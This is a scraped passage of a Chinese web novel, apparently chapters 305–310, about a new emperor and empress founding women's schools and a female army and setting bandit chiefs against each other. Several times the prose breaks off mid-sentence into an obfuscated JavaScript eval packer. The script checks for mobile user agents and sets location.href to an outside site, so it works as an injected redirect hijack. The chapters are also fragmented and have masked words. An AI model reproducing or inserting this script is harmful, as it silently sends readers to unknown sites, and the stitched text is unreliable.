余下的太监、老嬷嬷和一些宫女、侍卫,都会尊重他们的选择,除了不留在皇宫外,任何地方都可以去,包括想要回家也无妨。 可没有一个人愿意回家,他们更愿意远走高飞,去没有人认识的地方重新开始生活。 “主子,宫里的人都走了。”曹忠来到凤仪宫门外,恭敬地回道。 周敏往外看了眼,勾起唇角:“温令仪,我说有人暗中相助,到今日才知道暗中相助的人是这位恩公。” 温令仪笑了:“有的人,十年磨一剑,有的人凭借天时地利和人和一蹴而就,其实我倒是希望你留在京城。” “留在京城?”周敏疑惑的看着温令仪,毕竟她可是前朝皇后,虽然没有册封大典,可事实就是如此,她在京城抛头露面,真的行? 温令仪点头:“对,留在京城,因为朝廷会开先例,有女官。” “女官?”周敏觉得自己喝多了,耳朵不好使。 温令仪索性拉着周敏出宫,去了自己的郡主府,打开书房让周敏坐下,她取来了墨染留下的书籍:“你看,这都是女人可以做的事。” 周敏将信将疑的翻开书籍,越看越心惊,看了几页抬眸:“这!这些都能实现吗?” “能!”温令仪回答的斩钉截铁:“周敏,你聪慧,机敏,胸怀大爱,慈悲、善良,有勇有谋,如今我不敢说一定会海清河晏,天下太平,但我能保证只要我活着,我就要一直做这件事,让女子能活得顶天立地,而不是要依附于男人,墨染说的很有道理,她说不管是男人,还是女人,首先是人。” 周敏颤抖着手,捧着书:“真好!这世上竟然还有如此了不起的女子,真是一语点醒梦中人。” “所以,留在京城怎么样?”温令仪笑着说:“我知道你饱读诗书,满腹经纶,从今以后你不是谁的女儿,不是谁的妻子,只是你自己,我会让你没有任何后顾之忧。” 周敏落下泪来:“我以为寻一处山野小村,度过余生便是我的命,没想到你竟给我指了一条路,这条路能为天下所有女子长出尊严和脊梁,我要追随你,温令仪,我留在京城!” 温令仪握着她的手:“终有一天,你会走上朝堂,也终有一天,世人只会知道你是周敏。” 这一夜,周敏在温令仪的书房里,一直看书到天亮还不觉得困倦。 直到温令仪带着温静言来到书房,周敏才放下手里的书。 “这是温静言,我的三妹,但出自泾河府,本姓方,会成为我朝大司农。”温令仪笑着说:“也会是我朝开国第一位女官。” 周敏上前就要行礼。 温静言赶紧握住她的手:“我们是志同道合的人,这条路上就不会孤单。” “嗯。”周敏觉得自己的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“会,还会昭告天下,囡囡是长公主,无染是大皇子。”裴祈安低声:“但不能立太子,若是囡囡可以执掌天下,那就立太女。” 第305章 立国之战是要打的 昭告天下,帝后大婚、册封大典同时举行。 京城里很多人都在猜测新帝和温家的关系,虽说看似永元帝无后,禅让皇位给了摄政王,可摄政王和温家联姻在前,温家手握兵权,谁敢说没有逼宫这样的事? 如今,温令仪能成为皇后,似乎也证明了很多人的猜想。 可这并不是最让众人震撼的,更震撼的事另外一道圣旨,皇长公主裴明熙,封号昭宁,大皇子裴佑玺,字无染。 没有立太子,但天阉之人一夕之间儿女双全! 惊呆了京城一众人,随后私下里越来越多的人觉得永元帝禅让皇位是别有隐情,只不过这样的话不会摆在明面上说,甚至于永远都要烂在肚子里。 大婚之日。 从郡主府到皇宫铺上了红毯,温令仪穿着的嫁衣正是九凤朝服,戴着九凤冠,但凡有点儿见识的人都认得这正是裴祈安祖母的嫁衣,裴祈安亲自迎亲到门口,抱着温令仪上了辇轿,辇轿只用薄纱遮了四面,帝后同乘,微风拂来,若隐若现。 在辇轿后面是两顶轿子,轿子装饰珠玉宝石,分别坐着昭宁长公主和无染大皇子。 没人质疑两位的来历,就算人们还停留在裴祈安是天阉之人的人设中,也绝不敢质疑,因裴祈安显然认这两个孩子如亲生骨肉。 都说温令仪收养了个女儿,可如今嫁给当今皇上,这个女儿的封号都如此昭然若揭,国为大昭,公主封号昭宁,如此宠爱至极的封号,是不是亲生的重要吗?并且大皇子只是给了名正言顺的身份,并没有立太子,京城人都觉得这最是荣耀满身的夫妻二人,背地里的故事只怕更曲折离奇。 帝后祭拜天地,祭拜先祖,到这个时候人们才不得不承认,裴家祖上确实太惨了,哪怕裴祈安故意谋权篡位,取而代之,也没什么好指责的,当初裴玄和裴家被灭了满门的时候,就因为是臣,才不得不死的。 同时,京城里的说书人开始讲大夏三公、半边月、兵权等等秘闻,郎家忘恩负义的过往,真相大白于天下。 册封皇后,金册宝典,帝后一同驾临金銮殿,接受文武百官的跪拜。 昭宁大公主、无染大皇子也都在,一家四口亮相后,京城人的嘴就得闭紧了,特别是大皇子还是个幼儿,以后只要温家不倒,温令仪稳坐中宫,大皇子的地位就无人能及,由此看来就算不是裴祈安亲生的,那也绝对是温令仪亲生的。 入夜。 修缮一新的凤仪宫里,一家四口用膳,裴祈安连敬温令仪三杯酒,二人有千言万语,都无需宣之于口。 第二日,皇后下懿旨昭告天下,开办女学。 与此同时,周敏、苏禾宣召入宫。 凤仪宫中,早就等候在这里的大司农温静言看到周敏和苏禾,上前笑脸相迎。 寒暄落座后,林嬷嬷取出来卷宗,关于筹备女学的细节都记录在似卷宗中,三人凑到一起兴致勃勃的讨论起来。 温令仪看着苏禾,虽说苏禾较之温静言,少了历练,较之周敏,少了见识和气度,可说起来桑蚕、织布这些事,简直如数家珍,其侃侃而谈的样子,显然早就成竹在胸。 女学设立在京城原本的郡主府里。 地方足够大是其一,还有要让世人明白皇后创办女学的决心。 张贴招贤榜,各行各业里的女子都可以毛遂自荐做女夫子,同时所有八岁到十五岁,未曾议亲的女子都可以入学开蒙,不分高低贵贱。 京城是一个永远热闹的地方。 帝后大婚到女学,许多百姓意识到女学关乎到每一个寻常百姓家,但凡有意先要让家中女子学些本事,都可以去女学接受考核。 更吸引这些人的是药王谷在女学开学科,传授草药、岐黄之术等技艺。 从琴棋书画、桑农织耕,到岐黄之术、天文地理,女学里有各种细致的学科,可供选择,比如桑麻织布,染布、刺绣、成衣,单单就这一条就能让很多人各取所长,各学所喜的有安身立命的本事。 同时,大昭国不会赡养前朝的各种勋贵,爵位也都成了过去,唯有有功之臣可重新得到册封的机会。 京城里的人,殷实之家极多,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴祈安轻轻地捏了捏裴明熙的脸蛋儿:“不如,囡囡说给父皇听听。” “嗯。”裴明熙缓缓地吸了口气:“父皇,我的来历早就没瞒着您和母后了,当然我所知道的一切都改变了,所以往后到底会发生什么事,我不知,母后亦是如此,也就是说,对于我们一家人来说,如今是一个全新且陌生的开始。” 裴祈安点头,温令仪没有隐瞒,女儿也没有隐瞒,若非她们不同寻常的经历,也无法成就今日的自己。 “在我原本知道的事情里,父亲死在了萧玄策的手里,同时萧玄策和他的儿子,历经两代人,成为了这一片土地的共主,也正因为萧玄策得了大昭这片土地,以至于大昭从古至今的传承几乎断绝。”裴明熙说:“而墨染,恰恰是为了传承不绝而来,所以她没有选择,只能保你不死,让这片土地上有新的政权,但传承会继续被发扬光大,而不是被篡改。” 裴祈安低声:“囡囡,你觉得萧玄策会是个背信弃义的人?” 二人签订的盟约是百年,如今自己登基,内忧初露端倪,若这些背后有萧玄策的手笔,那萧玄策确实是背信弃义的小人。 裴明熙皱着小眉头:“未必是萧玄策背信弃义,甚至于放在**家的高度上,萧玄策可以说伺机而动,而且,父皇啊,都说最是无情帝王家,实则世人不知,最是无情并非帝王家,而是**家,立足本国,本国利益高于一切,而生死对于**家来说,有一些人是必须牺牲的,他们从没有妇人之仁。” 裴祈安深以为然:“囡囡觉得该如何应对?” “自然是养着,当猪一样养起来,最好能对上萧玄策,彻底砍掉天道盟,但父皇,**家从不与任何人撕破脸皮,那才叫博弈,没有永远的敌人,只有永远的利益。”裴明熙说到这里顿了一下:“还有,萧玄策杀了巫医族神女,收了巫医族的人为己用,当初西凉灭国之战,萧玄策确实用了很不光彩的手段,所以巫医族是必定要除掉的,可我觉得还有另外一个原因。” “你姨母?”裴祈安蹙眉了。 裴明熙点头:“只要大昭足够强大,萧玄策根本无法动大昭根本,那么打不过就联手,是萧玄策必定会选择的路,到那个时候让姨母成为他的皇后,显然是最好的安排。” “囡囡不希望你的姨母成为**棋盘上的一颗棋子对不对?”裴祈安问。 裴明熙嘴角勾起一抹冷笑:“父皇,若姨母足够厉害,那谁是棋子还尚未可知,我还有一件事非常担忧,萧玄策夺天下,但未定江山,真正定江山的人是萧玄策的儿子,若这个儿子的母亲是姨母呢?知未来,夺其造化,萧玄策也是人,是人就有寿终正寝的时候,所以国与国之间从不论一时输赢。” 裴祈安真心觉得自己不册立太子是完全正确的,相比于女儿,自己都自愧不如。 这般心胸和眼界,大昭的未来不会差,而自己也是人,也会有寿终正寝的时候,江山万代,人难百岁,那么他就要为后来人铺好路! 想到这里,心里都充满了希望,从始至终夺气运是一家子都在做的事,所以萧玄策的儿子定江山?别闹了,真正能定江山的应该是自己的女儿,因为女儿厉害嘛。 “囡囡,继续跟父皇说说你心里的想法。”裴祈安抱着裴明熙到软塌上,搬来绣墩坐在软塌旁边,一幅虚心受教的样子。 裴明熙翻了个身趴在软榻上:“父皇,大昭的未来会非常非常强大,也就是说,现在的萧玄策对大昭来说是最大的威胁,可是只要再过二十年,不,十年!十年后的大昭是萧玄策望尘莫及的,但前提是要遏制萧玄策和他的国家发展。” “有道理。”裴祈安只能说这三个字。 裴明熙说:“天道盟是裴祈安用了十几年安插在大昭的钉子,但前朝那些昏君只盯着窝里功臣和皇位,根本没有想过我中有敌不可怕,可怕的事敌中无我,而两国通商必定会越来越紧密,众合商会就是大昭的明牌。” 裴祈安都想为女儿挑起大拇指了,这孩子厉害啊,这孩子是自己亲生的! “再就是,无需给姨母任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴祈安觉得,自己但凡有一丝一毫的犹豫,都不配当裴明熙的爹! 第307章 卧龙山的马四,可以动一动了 长夜漫漫,裴祈安却毫无睡意,看着睡在榻上的女儿,心里百味杂陈。 一路走在,他自问苦心经营多年,可当温令仪真正走进他的生命里后,一切都变了,女儿更是为他打开了一扇又一扇窗,让他看到了大昭的无限可能。 墨染、温静言,这些有着离奇来历的人出现在大昭,出现在自己面前,是何其有幸? 更让他觉得一切犹如做梦似的,虽然步步为营,但谁又能完全把握自己的命运,突然的变数都是利于自己的,与其说天命所归,倒不如说这些人选择了相信自己,选择了为大昭的未来去拼搏。 晨曦微露,裴祈安已经坐在大殿的龙椅上了,群臣各个都献计献策,尽管这些人里有很多在暗戳戳的骂自己是个篡位**的贼子,但裴祈安不在乎,他唯有让大昭真正的海清河晏,才配得上这龙椅。 朝廷政令极多。 但朝臣没有等来一朝天子一朝臣,他们按部就班的做事,本来悬着的心就慢慢的放下来了。 裴祈安下了早朝回到凤仪宫,温令容和小囡囡在,温令仪抱着无染,三个人兴致勃勃的说着漠北之行,显然这一切都看似水到渠成。 “皇上。”温令容给裴祈安行礼。 裴祈安沉声:“免礼。” 走过去从温令仪怀里接过来无染,坐下说道:“囡囡也要去漠北,长姐一路上要辛苦了。” “囡囡能同去是最好不过,一路上有人作伴儿了。”温令容知道裴祈安没有帝王的架子,心里就踏实了不少,妹妹是后宫之主,只要裴祈安不苛待妹妹和两个孩子,别说温家,就是自己都愿意为大昭拼命。 裴祈安问:“可定下来何时启程了吗?” 温令容看裴明熙,裴明熙看温令仪,温令仪只能开口说道:“她们啊,早就准备好了,就是等着你来辞行的。” 裴祈安偏头跟温令仪说:“那咱们送她们出城。” “好。”温令仪让奶娘把无染抱走,四个人两辆马车出城去。 十里长亭话别,温令容和裴明熙的马车里有不少书籍,都是温令仪送的,说是给两个人在路上解闷儿,其实都心里明镜儿似的,温令仪送的书,不可能只是解闷儿那么简单。 目送马车缓缓离开,温令仪立在亭子里久久不愿上马车,直到一点儿影子也看不到了,才转过身。 “阿宁。”裴祈安出声。 温令仪抬头:“怎么了?” “囡囡跟我说了很多。”裴祈安伸出手,牵着温令仪走出凉亭,坐上马车,一路上他把裴明熙说的话,原封不动的说给了温令仪听。 温令仪静静地听着,到最后轻轻地叹了口气:“囡囡的心智异于常人,确实想得十分周到,说的更在理儿。” 裴祈安握着温令仪的手:“所以,我们确实如囡囡所说,一切才刚开始。” “玉郎,治国不易。”温令仪说:“可以看看墨染留下的那些书,其中有一部分是史学,是墨染那个世界的史学。” 裴祈安点头。 朝会上,关于各地有小股势力盘踞的事屡次被提起,裴祈安都把奏折压下来,没有立刻批阅,如果小打小闹就出手,如何把天道盟从大昭拔出去?如今的大昭可不是曾经的大夏。 况且,但凡有心思要在乱世分一杯羹的人,最先要做的就是收买人心,收买人心最好的办法就是斩杀贪官污吏,自己杀和让野心勃勃集结在一起的人杀,效果一样,但自己手里都是把柄。 下朝,裴祈安处理政务后,就跟温令仪一起在书房读书。 若是有人看到一定会惊得掉下巴,毕竟二人孜孜不倦的样子,根本不像帝后。 一个月后,裴祈安收到了漠北的飞鸽传书,温令容和裴明熙已到了漠北。 女学初见规模,苏禾、温静言作为女学创办者,在京城风头无两,慕名而来的各行各业名师都在女学开课,同时朝廷颁发政令,女子可从军,漠北会建凤翎军。 但凡女子从军,一切都跟男子一样,军功、赏赐亦然。 一石激起千层浪,若说开办女学是为了彰显皇后的母仪天下,那建凤翎军,还是在漠北,凤翎军首领竟是温家嫡长女温令容,这简直是野心勃勃! 可不管外面风言风语,作为国君的裴祈安是真八风不动。 而这个消息简直成了许多贫家女子的另一条青云路,入女学, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236046|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家里不允就只能放弃,可入行伍则不同,只要觉得自己可以,有心入行伍,那家里人是拦不住的。 “皇上,如此下去,只怕乱象丛生,于江山社稷不利啊。”罗无咎坐不住了,入宫面圣。 裴祈安赐座后,说:“乱了不少年头,再乱一乱更好,终是要让世人知道,如今的大昭不是前朝。” “可女子不安于室,动摇的不止是一家一户的安稳,是国本啊。”罗无咎说。 裴祈安放下茶盏:“罗老大人,温静言是女子,但她所作所为,有几个男子能比得上?” 一句话把罗无咎说的哑口无言。 帝后大婚那日,罗岳和温静言也成亲,不过是被帝后大婚遮掩住了所有光芒,但身为罗家的当家人,罗无咎太明白温静言的与众不同了。 罗家的兴盛,只怕会从温静言开始,虽说罗无咎更相信自己的长孙罗岳是个有本事的人,可也不能否认,温静言能让百姓吃饱穿暖,还是朝中大司农,就算没有这些名利,那也是百姓心目中的神。 民以食为天,谁能让百姓吃饱肚子,百姓就会拥戴谁。 “老大人,朝廷在改革,只不过没有把所有的事情都摆在明面上,您是国之柱石,必定会大昭的未来操心,所以说一说也无妨。”裴祈安顿了一下,起身从书架上取出来一套史学:“有人说读史明鉴,不妨和老大人共勉。” 劝谏不成,还被送了一摞书,罗无咎心里五味杂陈。 戴着这些书回到家,坐在书房里喝了好久的茶,到底是拿起来书翻看。 这一看,竟入迷了。 罗无咎拍案叫好:“好!这才是百姓之福啊。” 与此同时,靖安司送来消息,贵阳府太守被斩杀,尸身挂在城门上三日都无人敢收尸。 “贵阳府的势力如何?”裴祈安问。 来人回道:“龙脊山占山为王的叫陈青,手底下**了五千多人,为人十分受人推崇,这次斩杀贵阳太守方致远,名声大噪,周围十几股小势力都愿意臣服追随,如今恐有万人之多。” 裴祈安看着舆图,抬起手点在了泾河府三个字上:“卧龙山的马四,可以动一动了。” 第308章 联合众人,干一票大的 卧龙山马四,龙脊山陈青,这都是山匪头目。 在裴祈安这里配得上号的不多,还有江南府绝尘岭的段无涯,汉中府的**奎。 这四个是手底下人手多,威望高的势力。 当然,就算裴祈安再给他们两年,也未必能成多大的气候,所以裴祈安觉得自己有必要推一把。 当初在泾河府收马四的时候,裴祈安已经做了一些安排,不过没想到用在了剿匪上。 当然,还有一股势力不容小觑,那就是遁走神女山脉的赵诚,赵诚手底下的人不少,还都是曾经的晏家军,既然是有萧玄策的手笔,只怕赵诚那边也会有动作。 裴祈安沉声:“东方文和。” 摇着扇子的东方文和从屏风后面走出来,到裴祈安跟前拱手一礼:“皇上,散人终于能派上用场了?” “往神女山,看赵诚心意,若他想要乱世称雄,大昭欢迎他。”裴祈安说。 东方文和笑了:“难道皇上不会后悔吗?” “后悔什么?”裴祈安看东方文和。 东方文和笑意更深:“当初放虎归山啊。” 裴祈安请东方文和落座:“谁能未卜先知?明面上的敌人从来都不可怕。” “是啊,毕竟势均力敌才有资格做对手,但势均力敌的对手,是很可怕的。”东方文和说。 裴祈安垂眸,淡淡的勾起唇角,萧玄策纵然再厉害,可他没有能人在身边,就连眼前的东方文和都能为自己所用,他现在的小动作若是摆在明面上说,他有脸吗? 更不用说,大昭对萧玄策和臣服其的西域三十六国都在内,早就有了不止百年的盘算,不过这些能说吗? “你不怕?”东方文和狐疑的打量着裴祈安,他,从神庙走出来,怎么可能只凭三寸不烂之舌? 但很多事情就算推演千百遍,都跟现在发生的一切对不上,单就萧玄策和裴祈安生死局这一条,他都能把自己算死,因为死对头竟联手了,这里面若说是个黄毛小丫头的本事,没人信,包括自己。 更不用说永元帝暴毙了,这等关乎天象的大事都没有按照自己的推演走,让他道心受损几乎要碎了,追随裴祈安,其实是想要找到一个答案,不然自己一辈子的修为,注定毁于一旦。 安排妥当,裴祈安静静地坐在书房里,他是执子人,必须是! 就在罗无咎苦心钻研从裴祈安处得到的史学的时候,大昭不止流寇作乱,就连文人也都开始口诛笔伐,诱因还是女子可以入行伍,这简直颠覆了读书人的认知,昏君暴毙本是大喜事,可登基的裴祈安似乎也不比永元帝好到哪里去,甚至大昭要出现是牝鸡司晨之象了,这不就是天下大乱的苗头吗? 马四接到了裴祈安的命令,看过之后傻愣愣的半天没反应过来,低头再看,喃喃自语:“**?谁听说还有奉旨**的了?” 不过,马四作为占山为王出身的人,对占领地盘太敏感了,也十分热衷。 他没有直接对龙脊山的是陈青,而是过泾水河,来到江南府的绝尘岭拜见段无涯。 段无涯这段日子也是耳根子不清净,陈青地盘日益壮大,据说漕帮都要避让三分,打从杀了贵阳府太守方致远后,名声大噪,如此下去早晚是要成气候,还可能把他们都吞下,毕竟陈青想要和朝廷对抗,以他现在的实力简直是蚍蜉撼树嘛。 “大当家的,卧龙山马四爷求见。”手下的小喽啰进来禀报。 段无涯蹙眉:“马四?他来作甚?” “没说,大当家的,要我看是来示好的,带来了不少礼物。”小喽啰说。 段无涯摆手:“请。” 绝尘岭很高,但段无涯的山寨在半山腰,当初选择这块地方还是因为崔家,崔家现在住着的地方他看上了,但没敢抢夺,所以才会找到绝尘岭,虽跟崔家比起来略逊一筹,可在江南府,甚至在各路山匪中比起来,绝尘岭的名头可是响当当的,其中很大一部分原因便是有天然的险峻护体,易守难攻。 马四上山的路上,夸赞了好几句,这地方确实好。 到了山寨大门口,见段无涯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江湖乱不乱,朝廷说得算 段无涯上一眼下一眼的打量马四,突然朗盛大笑起来。 他这一笑不要紧,呼啦啦进来二十几个手持利刃的人,直接把马四围上了。 马四脸色大变,坐在椅子上没敢轻举妄动,而是问道:“段大当家的,这是何意?” “何意?”段无涯冷声:“你拿我绝尘岭的兄弟们当靶子使,还敢问我?马四,你投靠裴祈安的事,江湖上的朋友谁不知道?现在是陈青做大了,朝廷那边想要收拾陈青,你才冒出来的吧?” 马四深吸一口气,让自己平静下来,就那么看着段无涯。 段无涯哼了一声:“我们这些兄弟们不是傻子,谁拿自己的命去为朝廷办事?说到底就算功劳再大,那也是匪,朝廷从来都是没有信义可言的伪君子,你休想让绝尘岭的兄弟们跟你这般做朝廷的鹰犬!” “对!杀了他!杀了他!” 这些手持利刃的人群情激奋,那样子像随时都可以乱刀剁碎了马四,以此表达他们的决心似的。 “都是江湖中人,谈不拢就不谈。”马四站起身,环视围着自己的这些人:“段大当家的,我走还不行吗?” 段无涯摇头:“我绝尘岭虽然不是什么碧落黄泉的地儿,可也不是你说来就来,说走就走的,当我们绝尘岭是什么地方?” “既然段大当家的如此不饶人,我马四认栽,给个痛快。”马四直接扬起头,指着自己的脖子:“来!冲这儿来!” 段无涯愣住了,他以为马四会放手一搏,怎么也不可能坐以待毙,这一举动倒是让他不知道如何试好了。 啪!啪!啪! 一妙龄女子从屏风后走出来,艳若桃花的一张芙蓉面,纱衣层层叠叠,朱唇轻启:“马四爷确实是条汉子。” 话音落下,抬了抬手,这些人都退到一边。 妙龄女子走向段无涯,抬起手搭在段无涯的胸口上,柔声:“您老这么大火气多伤身子?马四爷是来谈生意的,买卖不成还仁义在呢。” “若烟姑娘,马四坏了江湖规矩。”段无涯说。 柳若烟噗嗤笑了:“您老最是讲规矩重规矩的人,可这世间的规矩还不都是人定的,人能定规矩就能坏规矩,还不是此一时彼一时?” 段无涯没言语。 柳若烟回头看马四:“马四爷是不是朝廷的鹰犬,若烟不知道,但马四爷先要让自己的份量重一些,人之常情,江湖上的人就算再厉害也斗不过朝廷,还不是因为都如一盘散沙,难成气候嘛,而且我可听说了,盟主墨染下落不明,朝廷乱不起来,裴祈安可不是个简单的货色,大昭的朝廷不乱,可大昭的江湖要乱了呢。” 马四微微眯起眼睛,眼前的女子虽举止勾人,可却没有半点儿风尘味,更像是被训练出来的无间人,没有固定的门派,无人知道为谁办事,但往往这样的人背景了得,正因为没人知道,常常让人查无可查,容貌艳丽的她们出现在哪里,哪里必定会是个目标,而这个目标必须为她所用。 所以,段无涯不想跟自己合作,都不成。 思及此,马四拱手一礼:“若烟姑娘见识非凡,我不过一个粗人,想要的也简单,手里人多,库里粮多,袋子里钱多,唯有如此才能逍遥。” “确实。”柳若烟坐在椅子上:“朝廷是朝廷,江湖是江湖,一家独大对谁都不好,绝尘岭虽然不会像卧龙山那么危险,可陈青尝到了甜头,肯定想要收更多的人为己用,若我们坐以待毙,早晚被逐个击破,不如联手与之抗衡,但陈青地盘大,人手多,家底子厚,马四爷可想过怎么分?” 马四看看柳若烟,再看段无涯,笑了:“这么说,若烟姑娘能给绝尘岭做主?” “做主谈不上,只是让大当家的好好考量一番。”柳若烟说着,回头看段无涯。 段无涯心里本是瞧不上马四的,明明能抢那些粮食,偏偏马四像是牛马一般给裴祈安做事,裴祈安是什么人?京城里盛传的活阎王,是永元帝手里的鹰犬,如今登基为帝,自己可瞧不上如此小人,有能耐如何?有手段又如何?绝尘岭能在这里三十年,靠的可不是江南府的朝廷命官们眼盲心瞎胆子小,都是自己带着兄弟们一拳一脚打出来的天下。 不过柳若烟说的有道理,这个女人极有可能是墨染的人,别看口口声声说墨染失踪了,谁不知道墨染率领江湖中人奔赴大宛,保得就是裴祈安呢? 沉吟片刻,让那些手持利刃的兄弟们退下,讪笑几声:“马四老弟,你不是说还要联合汉中府的李忠奎吗?若是我们三人联手,三面包抄龙脊山,保不齐陈青一举击破呢,至于怎么瓜分陈青的地盘,不如询个机会,三家做在一起商量。” 马四看段无涯:“不如,我们请李忠奎来绝尘岭如何?到时候段大当家的也不至于怀疑我暗中做了手脚。” 柳若烟听到这话,不免抬头看了马四一眼,这个人看似是个莽汉,可心思倒也算细腻。 “好说,那马四弟先住下,我这就差人去请李忠奎。”段无涯说。 李四从善如流,随着带路的人去了客院安顿。 柳若烟在聚义厅里坐着,段无涯立在旁边:“若烟姑娘,你不是说马四是个小人,为何又要联手了?” “送上门的好处,为什么不要呢?你以为陈青会坐以待毙?再说了,你就算不跟马四联手,你还能真把他斩杀在地?他一旦离开绝尘岭去找李忠奎,李忠奎与他合作的话,绝尘岭如何自处?就算你去找陈青联手,陈青知道马四来找过你,会信你?到时候只怕不等陈青被瓜分,绝尘岭都得落到李忠奎的手里。” 段无涯面色阴沉:“难道江湖就这么乱了吗?” “江湖乱不乱,朝廷说得算,就算朝廷说了不算,长公主裴明熙也能做主,段大当家的,你还没看明白吗?这个时候要站队,选对了飞黄腾达,选错了家破人亡。”柳若烟笑吟吟的看着段无涯:“江湖是什么?您老心里比我清楚吧?” 第310章 大昭要乱啊 段无涯老脸涨红:“受教了。” “折煞若烟了,若烟是个风尘里打滚的人,段大当家的收留了若烟,对若烟礼遇有加,更有庇护之恩,若烟怎么能忍心恩人行差踏错呢?”柳若烟抬眸:“裴明熙,也就是如今的长公主,很早以前就是萧玄策的义女,萧玄策把天道盟都交给了她,朝廷可能鞭长莫及,但天道盟,您老不会陌生。” 段无涯叹了口气:“大周难道就不虎视眈眈,裴祈安得到禅让的皇位,犹如改朝换代一般,大周还会恪守诺言,不和大昭为敌?” 柳若烟微微蹙眉,打量着段无涯,很快就又恢复柔弱模样:“那是大人物的事,跟我们没什么关系。” “也是,多谢若烟姑娘指点迷津。”段无涯拱手一礼。 马四住在绝尘岭,等李忠奎前来。 这件事简直犹如芥子微尘,没人会放在心上。 京城。 裴祈安和温令仪正在商量着派人从漠北运回更多的耕牛和农具,说起来苍山功不可没,取之不尽的不止是铁,还有金银,这些都会陆续运送会京,充入国库。 “大梁的宝藏,玉郎想要如何安排?”温令仪可没有忘记上官子玉的嘱托,如今女学已经开始了,这是惠及于民的事,但对温令仪来说,上官子玉留下的大梁宝藏是不能用在这个地方的,得找个更能让百姓都承其庇护的方法。 裴祈安知道温令仪的心思,说:“开医馆,每一个州、府都开设医馆,百姓只需要花草药钱就能治病,同时县衙设草药局,百姓可以把采摘的草药卖给草药局,草药局里带着坐诊郎中四人,同样只需要花药钱。” 温令仪眼神一亮:“那女学要多培养一些女郎中,专门给女子诊病,再开儿科,大昭需要更多的新生儿。” “好。”裴祈安沉吟片刻:“上官子玉,可以立庙,她庇护了这么多人,应该让世人知道受了谁的福泽。” 温令仪连连点头,这是应该的,只是自己没想到。 二人出门,走在繁花似锦的御花园里:“玉郎,萧玄策或许已经知道长姐到漠北了。” “我们的女儿会告诉他,当然也绝对会护着长姐,至于他们将来到底会如何,阿宁,长姐配得上良人,若萧玄策是良配,我们应乐见其成,至于国与国之间是否能信守承诺,都无妨,终有一日萧玄策会明白,唯有合作,才能长治久安,他并非大昭的榻旁猛虎,大昭才是他的心腹大患。”裴祈安抬头看了看天儿:“只不过,大昭还需要几年休养生息,萧玄策若是在秋收之前有大动作,我不介意立刻发兵伐之。” 温令仪知道裴祈安心里有成算,自然不会多说。 就在江湖中各个势力都在处心积虑的扩大地盘的时候,朝廷再次颁发政令,州府开设医馆,百姓无需再花诊金,可以免费诊病,只需花药钱。 同时,上官子玉、大梁宝藏的事也昭告天下了,曾经的大梁国公主临死之际托孤当今皇后,所以大梁宝藏惠及于民。 为上官子玉建庙,裴祈安册封上官子玉为梁国夫人,受万人敬仰和香火。 百姓得了如此好处,都恨不得在自己的家门口有梁国夫人庙,供奉香火,感念其恩。 寻常百姓所求不过是三餐温饱,无病无灾,大昭跟大夏比起来可好太多了,今年风调雨顺,可见老天都照顾大昭百姓。 **绝尘岭上,李忠奎见到了段无涯和马四。 三个人一拍即合,纠集三个山寨的兄弟往龙脊山,打着让百姓过安稳日的旗号,讨伐陈青。 消息传到了京城。 裴祈安刚下早朝,龙心大悦的他来找温令仪。 二人下棋,不言不语,这份宁静里都是岁月静好。 半个月后,龙脊山送来了消息,陈青被斩杀,手底下的人和地盘被瓜分,查出来铁证,支持陈青的是天道盟。 裴祈安朗声大笑,他太想知道萧玄策知道这个消息会怎么样了。 “怎么牵涉到了天道盟?”大周皇宫里,萧玄策看到送来的密报,脸色一沉的问。 跪在地上的人摇头:“皇上,天道盟做事极其隐蔽,绝不会留下破绽,只怕是大昭朝廷想要对天道盟出手,特地栽赃。” 萧玄策端起茶盏抿着茶汤。 这是裴祈安在警告自己啊。 沉吟片刻:“无需担忧,天道盟的事继续。”萧玄策眯起眼睛,裴祈安在两国边境放了上百流火炮,留后手震慑大周,自己若一点儿反应也没有,岂不是在说自己怕了? 来人退下。 萧玄策正在看舆图,宫人禀报:“皇上,少主来了。” “带进来。”萧玄策抬起手拉上了盖住舆图的幔帐,回头立在厅里看着裴明熙急匆匆跑进来,小脸上竟是愤怒。 萧玄策笑着张开手:“囡囡,怎么想起义父了。” 